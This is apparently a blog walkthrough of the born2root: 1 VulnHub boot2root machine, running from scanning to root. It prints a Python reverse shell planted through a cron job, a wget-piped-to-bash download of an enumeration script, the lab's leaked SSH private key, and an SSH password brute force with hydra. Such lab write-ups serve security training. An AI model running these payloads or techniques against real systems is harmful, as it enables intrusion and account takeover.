Name : born2root: 1
Difficulty : Intermediate
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/born2root-1,197/
Entry : 13 / 30
Welcome to the walkthrough for born2root: 1, a boot2root CTF found on VulnHub. This is the thirteenth VM in my VulnHub Challenge! This is an intermediate machine, so roughly in-line with what I would expect with an OSCP-like machine.
Goal
There is a single flag in the /root
directory that needs to be read read, so a fairly straightforward challenge.
Setup
I’m using VirtualBox to host Kali and the born2root: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment. VMWare Player is not compatible with this machinem hence the reason I’m switching back to Virtualbox.
Discovery
I use netdiscover
to search for the IP address of the born2root: 1 VM:
root@kali:~# netdiscover -r 10.0.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor
10.0.2.3 08:00:27:6b:0b:32 1 60 PCS Systemtechnik GmbH
10.0.2.6 08:00:27:7e:5e:47 1 60 PCS Systemtechnik GmbH
Hmm, either 10.0.2.3
or 10.0.2.6
are our VMs. Let me do a quick nmap
scan to see which one is more likely.
root@kali:~# nmap 10.0.2.3 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:52 EDT
Nmap scan report for 10.0.2.3
Host is up (0.00011s latency).
All 1000 scanned ports on 10.0.2.3 are filtered
MAC Address: 08:00:27:6B:0B:32 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.6
Host is up (0.00017s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC)
Nmap done: 2 IP addresses (2 hosts up) scanned in 0.30 seconds
That’s better. 10.0.2.6
is our target.
Scanning
I’ll start with a full TCP port scan with nmap
, then follow it up with a full UDP scan using unicornscan
just to make sure I don’t miss anything. Once I know what ports are up, I’ll do a deeper scan with nmap
on any open ports.
root@kali:~# nmap -sS -p- 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:57 EDT
Nmap scan report for 10.0.2.6
Host is up (0.022s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
44290/tcp open unknown
MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds
Next up, I’ll use unicornscan
to do the UDP scan. I could use nmap
, but I find unicornscan
to be a lot faster.
root@kali:~# unicornscan -mU -Iv 10.0.2.6:a
adding 10.0.2.6/32 mode `UDPscan' ports `a' pps 300
using interface(s) eth0
scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 3 Minutes, 45 Seconds
UDP open 10.0.2.3:67 ttl 255
UDP open 10.0.2.6:111 ttl 64
sender statistics 244.8 pps with 65545 packets sent total
listener statistics 4 packets recieved 0 packets droped and 0 interface drops
UDP open bootps[ 67] from 10.0.2.3 ttl 255
UDP open sunrpc[ 111] from 10.0.2.6 ttl 64
Okay, so we have a few ports open on TCP and UDP, so let’s do a deeper scan on those ports with nmap
:
root@kali:~# nmap -sT -sU -sC -sV -p U:67,111,T:22,80,111,44290 10.0.2.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 16:34 EDT
Nmap scan report for 10.0.2.6
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA)
| 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA)
| 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA)
|_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/wordpress-blog /files
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Secretsec Company
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 44290/tcp status
|_ 100024 1 48546/udp status
44290/tcp open status 1 (RPC #100024)
67/udp closed dhcps
111/udp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 44290/tcp status
|_ 100024 1 48546/udp status
MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds
The main things jumping out at me are SSH and HTTP. Let’s try browsing to the website and see what’s up.
Website
Pretty generic. From the nmap
scan above, we see that the robots.txt
file has two entries:
/files
/wordpress-blog
Let’s look at each of those:
Heh. A troll face. How original. Looking at the source for all of these pages, nothing jumps out at me. There is a commented out HTML section on the homepage, but it’s for a floating menu that links to anchors on the same page (which don’t exist), so that’s a bit of a red herring that I choose to ignore for now.
I think it’s time to try using gobuster
on this site to see if there are any other hidden pages/directories:
root@kali:~# gobuster dir -f -x html -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.2.6/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.0.2.6/
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2019/07/24 21:20:28 Starting gobuster
===============================================================
/.htaccess/ (Status: 403)
/.htaccess.html (Status: 403)
/.hta/ (Status: 403)
/.hta.html (Status: 403)
/.htpasswd/ (Status: 403)
/.htpasswd.html (Status: 403)
/files/ (Status: 200)
/icons/ (Status: 200)
/manual/ (Status: 200)
/index.html (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/07/24 21:20:30 Finished
===============================================================
Breaking down the options for gobuster
:
dir
: work in directory busting mode, i.e. find files/directories of interest.-f
: adds a trailing forward-slash (/
) to the URL. Useful for finding directories.-x
: looks for files with these extensions (comma-separated list). Sticking withhtml
since there’s no indication of PHP on this VM.-t
: the number of threads to use (default is 10).-w
: the wordlist to use when brute forcing.-u
: the URL to start from.
From our gobuster
output, we’re not seeing a whole lot. But you know what? We’ll check each finding anyway, since you never know what you may find. I’ll only focus no the links that returned HTTP 200, and ignore the ones I’ve already looked at. That gives me two URLs to check, http://10.0.2.6/manual/
and http://10.0.2.6/icons/
. I’ll browse to both using Firefox and see what’s up.
Okay, so the /manual/
URL looks pretty generic. Let’s try /icons/
:
Interesting! The VDSoyuAXiO.txt
file is definitely out of place! Let’s pull it down using curl
and see what it is. I like using curl
instead of a browser here, since I don’t have to worry about the browser potentially hiding anything or interpreting any characters.
root@kali:~# curl http://10.0.2.6/icons/VDSoyuAXiO.txt
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC
tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J
4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+
-----END RSA PRIVATE KEY-----
Oh my! We have ourselves a nice private key! Great, but who’s key is it? Well, if we go back to the homepage for the site, there was a list of names in the About Us section, as well as an email address under Contact Us. I’d hazard a guess that the usernames for each person follow the same format as the email address, which means we have 3 possible users:
martin
hadi
jimmy
SSH
I’ll download the private key using wget
, pipe it through a few commands to skip the first and last lines of the file (they’re blank), change the file’s permissions to make SSH happy, and then finally use to to try to login with the three users to see who works! Phew!
root@kali:~# wget -qO - http://10.0.2.6/icons/VDSoyuAXiO.txt | tail -n +2 | head -n -1 > private.pem
root@kali:~# chmod 600 private.pem
root@kali:~# ssh -i private.pem martin@10.0.2.6
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 9 20:31:29 2017 from 192.168.0.42
READY TO ACCESS THE SECRET LAB ?
secret password : password
WELCOME !
martin@debian:~$
Cool, so I’m in as martin
! I did try both hadi
and jimmy
as well, but both prompted me for a password, so the key didn’t belong to them.
The prompt for the password to access the secret lab is a bit odd, and I just guessed at the password being password
. I’m curious if that was a lucky guess or not, so I’ll take a look at the .bashrc
file for martin
:
martin@debian:~$ cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
...
<snip>
...
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
/var/tmp/login.py
Ah, there it is. The last line in .bashrc
for martin
calls a Python script. Let’s see what’s in it:
martin@debian:~$ cat /var/tmp/login.py
#!/usr/bin/python
import os
print("")
print("READY TO ACCESS THE SECRET LAB ? ")
print("")
password = raw_input("secret password : ")
if (password) == "secretsec" or "secretlab" :
print("WELCOME ! ")
else:
print("GET OUT ! ")
os.system("pkill -u 'martin'")
Well then, it seems that our “SecretSec” compatriots can’t program very well! The problem is in the if
statement, and the way that Python handles Boolean values. The statement reads:
if (password) == "secretsec" or "secretlab" :
But this will always evaluate to true
. Let me show you what it looks like with a few more parenthesis:
if ((password) == "secretsec") or ("secretlab") :
So the first part of the if
statement is checking to see if the password I provided is secretsec
, but the second part is just checking whether or not secretlab
is true or not. According to the Python documentation1:
In the context of Boolean operations, and also when expressions are used by control flow statements, the following values are interpreted as false: False, None, numeric zero of all types, and empty strings and containers (including strings, tuples, lists, dictionaries, sets and frozensets). All other values are interpreted as true.
So in other words, because "secretlab"
is a non-empty string, it will evaluate to true, which means the entire if statement will be true. Remember, anything OR true
will always result in true
. Oh SecretSec, perhaps you’re good at testing, but you are not good at coding!
Enumeration - Thwarted!
Let me run the LinEnum.sh
script and see what’s going on. I’ll setup a SimpleHTTPServer
on my Kali machine, then use wget
to download it on the target machine, pipe it to bash
, then review the output.
martin@debian:~$ wget -qO - http://10.0.2.4/LinEnum.sh | bash
bash: ligne 1: HAHA : commande introuvable
martin@debian:~$
Wait, what?! It seems like I cannot use wget
! curl
gives me the same error. Let me do some digging:
martin@debian:~$ which wget
/usr/bin/wget
martin@debian:~$ file /usr/bin/wget
/usr/bin/wget: Python script, ASCII text executable
martin@debian:~$ cat /usr/bin/wget
#!/usr/bin/python
print(" HAHA ... Nope ")
martin@debian:~$ cat /usr/bin/curl
#!/usr/bin/python
print(" HAHA ... Nope ")
martin@debian:~$
Just when I thought they couldn’t code, SecretSec showed me up! That’s fine, I’ll use scp
to transfer the file to the target and run it manually.
Enumeration - Redux
root@kali:/opt/LinEnum# scp -i ~/private.pem LinEnum.sh martin@10.0.2.6:/tmp
LinEnum.sh 100% 45KB 10.0MB/s 00:00
When I review the output of LinEnum.sh
, I generally look for a few key things:
- What users are available?
- Do any of them have
sudo
privileges? - Are there any SUID/SGID binaries?
- What files are accessible/writeable to my user that may be interesting?
Scanning through the output on the born2root
machine, I find the following:
- The system is running Debian 8 (jessie), Kernel 3.16.0-4-586
hadi
,jimmy
, andmartin
are all valid users, and I have access to/home/hadi
(read-only)/home/hadi/
has some interesting files in it that may be worth exploring; looks to be buffer overflow testing
What’s hadi
Doing
Let’s see what’s available in /home/hadi/
:
martin@debian:~$ cd /home/hadi
martin@debian:/home/hadi$ ls -al
total 60
drwxr-xr-x 3 hadi hadi 4096 juin 5 2017 .
drwxr-xr-x 5 root root 4096 juin 9 2017 ..
-rw-r--r-- 1 hadi hadi 220 avril 26 2017 .bash_logout
-rw-r--r-- 1 hadi hadi 3515 avril 26 2017 .bashrc
-rwxr-xr-x 1 root root 5368 mai 10 2017 buff
-rw-r--r-- 1 root root 1091 mai 10 2017 buff.c
-rw-r--r-- 1 root root 148 juin 5 2017 example.c
-rw------- 1 root root 2073 juin 5 2017 .gdb_history
-rwxr-xr-x 1 root root 6000 juin 5 2017 overflow
-rw-r--r-- 1 root root 19 mai 10 2017 peda-session-buff.txt
-rw-r--r-- 1 root root 5 juin 5 2017 peda-session-overflow.txt
-rw-r--r-- 1 hadi hadi 675 avril 26 2017 .profile
drwxr-xr-x 2 hadi hadi 4096 mai 1 2017 .ssh
martin@debian:/home/hadi$
So after spending a few minutes poking around this area, it doesn’t appear that there’s anything of value here. I go back for a second look at the output of LinEnum.sh
and something catches my eye:
...
<snip>
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * jimmy python /tmp/sekurity.py
...
<snip>
There’s an entry for a /tmp/sekurity.py
file, but I checked and no such file exists. Well then, we have an opportunity! Let’s go checkout the reverse shell cheat sheet! There’s an entry for Python, so I’ll whip up a shell that I can use to call back to a nc
listener on port 9001
on my attacking machine.
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
With my nc
listener setup, I wait for a connection:
Hi jimmy
root@kali:~# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.0.2.4] from (UNKNOWN) [10.0.2.6] 36114
/bin/sh: 0: can't access tty; job control turned off
$ ls
networker
$ whoami
jimmy
$ pwd
/home/jimmy
$ ls -al
total 32
drwx------ 2 jimmy jimmy 4096 juin 9 2017 .
drwxr-xr-x 5 root root 4096 juin 9 2017 ..
-rw-r--r-- 1 root root 16 juin 9 2017 .bash_history
-rw-r--r-- 1 jimmy jimmy 220 juin 8 2017 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3515 juin 8 2017 .bashrc
-rwsrwxrwx 1 root root 7496 juin 9 2017 networker
-rw-r--r-- 1 jimmy jimmy 675 juin 8 2017 .profile
$
Cool, we’re logged in as jimmy
and there is a file called networker
that’s owned by root and also has the SUID bit set! That’s likely our ticket into escalating our privileges. Let me see what type of file it is:
$ file networker
networker: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bacc02fa5747f07430f55e0d5e70d4078800c9f5, not stripped
So it’s an ELF binary. Let’s try executing and see what it does:
$ ./networker
eth0 Link encap:Ethernet HWaddr 08:00:27:7e:5e:47
inet adr:10.0.2.6 Bcast:10.0.2.255 Masque:255.255.255.0
adr inet6: fe80::a00:27ff:fe7e:5e47/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6245 errors:0 dropped:0 overruns:0 frame:0
TX packets:4353 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
RX bytes:604193 (590.0 KiB) TX bytes:775700 (757.5 KiB)
Interruption:9 Adresse de base:0xd020
lo Link encap:Boucle locale
inet adr:127.0.0.1 Masque:255.0.0.0
adr inet6: ::1/128 Scope:Hôte
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:0
RX bytes:672 (672.0 B) TX bytes:672 (672.0 B)
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.014 ms
--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms
echo linux tool version 5
*** Networker 2.0 ***
Done
$
The Rabbit Hole
tl;dr The networker
binary is a lie. There isn’t anything in it that is helpful. It doesn’t take any input, it doesn’t open any ports, and the paths are all hard-coded. I’m sure there’s a way to edit the binary to add our own custom shell code to it, but I don’t have my OSCE yet and this is supposed to be an intermediate difficulty VM, so I’m not about go try and deal with that.
Instead, I’m going to go back to my OSCP training and try some good old fashioned brute forcing on our last user, `hadi1.
Password Fun With cewl
and john
A quick recap:
- We have logged in to two of the three accounts
- There are false flags and rabbit holes all over the place
- We have a website that does not have any vulnerabilities
- We have an SSH server that we can use to log in as a single user with a private SSH key, but that’s it
So we’ve logged in as martin
and managed to get a reverse shell to jimmy
. There was an executable for jimmy
that lead nowhere. The /home/hadi
directory had some other entries in it, but nothing of value. One thing that did stick out to me was the fact that the /home/hadi/gdb_history
file was owned by root
, so I suspect we can use hadi
to get to root
and finish this beast off. The question is how?
For this one I’m going to turn to what we have, which is a website. I’ll use a few tricks to generate a custom wordlist for brute forcing. Since I want to use hydra
for brute forcing SSH, I don’t want a huge wordlist like rockyou.txt
or I’ll be waiting for a while. Instead, I’ll do two things:
- Generate a seed wordlist using
cewl
- Mutate that wordlist using
john
to get some new combinations
Let’s start with the first step, namely generating a wordlist with cewl
:
root@kali:~# cewl -w secretsec.txt http://10.0.2.6
CeWL 5.4.4.1 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
root@kali:~#
Now we have a nice basic list for the site, let’s mutate it using john
. Before I do that, I want to add a few extra rules to john
. I edit the /etc/john/john.conf
file and add the following to the [List.Rules:Wordlist]
section:
...
<snip>
Lowercase/capitalize pure alphabetic words of reasonable length and convert:
# crack -> cracked, crack -> cracking
-[:c] <* >2 !?A \p1[lc] M [PI] Q
# Try the second half of split passwords
-s x**
-s-c x** M l Q
# Add one number to the end of each password
$[0-9]
# Add two numbers to the end of each password
$[0-9]$[0-9]
# Add three numbers to the end of each password
$[0-9]$[0-9]$[0-9]
# Add four numbers to the end of each password
#$[0-9]$[0-9]$[0-9]$[0-9]
...
<snip>
To be clear, I’ve added the rules to add extra digits to the end of the passwords, because people tend to include digits. I go up to 3 digits here just to keep things somewhat sane. With 4 digits I’m adding another 10k possibilities, which is rather excessive for an SSH brute force.
For more information on using john
to mutate wordlists, take a look at this article from Rapid 7 which explains this process fairly well. I just added my rules to the main Wordlists
ruleset because I’m lazy.
Once the secretsec.txt
file has been updated, it’s time to use john
to mutate it:
root@kali:~# john --wordlist=secretsec.txt --rules --stdout > secretsec-mutated.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
70763p 0:00:00:00 100.00% (2019-10-03 15:51) 1769Kp/s jimmy999
To give you an idea of how many permutations this created, we started with 61 words in secretsec.txt
and 70763 words in secretsec-mutated.txt
!
Now I’m not going to lie, that’s a bloody huge file and it will take me days to go through it with hydra
. Let me take a different approach and try something simple. I’ll go with the standard passwords for CTFs, namely the username and any other passwords I may have found. That would be secretsec
and secretlab
from the Python script that ran when martin
first logged on, plus hadi
and password
. There’s also the filename that had the private key for martin
in it, VDSoyuAXiO
. I did test that one separately with all three accounts, but no luck. I guess we’ll have to go with our brute forcing plan once we generate the mutated word list.
root@kali:~# john --wordlist=passwords.txt --rules --stdout > passwords-mutated.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
4638p 0:00:00:00 100.00% (2019-10-03 19:07) 77300p/s password999
root@kali:~# echo "VDSoyuAXiO" >> passwords-mutated.txt
root@kali:~# wc -l passwords-mutated.txt
4638 passwords-mutated.txt
Time For hydra
Okay, just over 4.6k words, which is going to take some time but at least it won’t span days. It’s still going to take a while, especially since hydra
doesn’t recommend using more than 4 threads at a time for SSH, but we’ll let it run.
root@kali:~# hydra -t 4 -l hadi -P passwords-mutated.txt 10.0.2.6 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal pu
rposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-03 19:08:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4638 login tries (l:1/p:4638), ~1160 tries per task
[DATA] attacking ssh://10.0.2.6:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 4594 to do in 01:45h, 4 active
[STATUS] 34.67 tries/min, 104 tries in 00:03h, 4534 to do in 02:11h, 4 active
[STATUS] 29.14 tries/min, 204 tries in 00:07h, 4434 to do in 02:33h, 4 active
[STATUS] 29.60 tries/min, 444 tries in 00:15h, 4194 to do in 02:22h, 4 active
[STATUS] 28.61 tries/min, 887 tries in 00:31h, 3751 to do in 02:12h, 4 active
[22][ssh] host: 10.0.2.6 login: hadi password: hadi123
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-03 19:48:26
Okay, so that wasn’t as bad as I was expecting. A little under an hour, but still quite a while to wait for a brute force attack. I shutter to think how long it would have taken if I had used by original cewl
list!
Escalation and Flag
Let’s try SSHing to the target as hadi
with the password hadi123
:
root@kali:~# ssh hadi@10.0.2.6
hadi@10.0.2.6's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 7 20:53:17 2017
hadi@debian:~$ su -
Mot de passe :
root@debian:~# pwd
/root
root@debian:~# ls
flag.txt
And taking a look at the flag:
root@debian:~# cat flag.txt
,-----. ,---. ,------. ,--.
| |) /_ ,---. ,--.--.,--,--, '.-. \| .--. ' ,---. ,---. ,-' '-.
| .-. \| .-. || .--'| \ .-' .'| '--'.'| .-. || .-. |'-. .-'
| '--' /' '-' '| | | || |/ '-.| |\ \ ' '-' '' '-' ' | |
`------' `---' `--' `--''--''-----'`--' '--' `---' `---' `--'
Congratulations ! you pwned completly Born2root's CTF .
I hope you enjoyed it and you have made Tea's overdose or coffee's overdose :p
I have blocked some easy ways to complete the CTF ( Kernel Exploit ... ) for give you more fun and more knownledge ...
Pwning the box with a linux binary misconfiguration is more fun than with a Kernel Exploit !
Enumeration is The Key .
Give me feedback :[FB] Hadi Mene
So the kernel exploit I was thinking of earlier wouldn’t have worked. That’s fine, I wasn’t planning on using it but I’m also glad I didn’t waste my time. Enumeration may have been the key, but I had no reason to believe that hadi123
was going to be the password. Lots of dead ends on this CTF which made it more annoying than anything. But there you have it, another CTF complete.
Fin.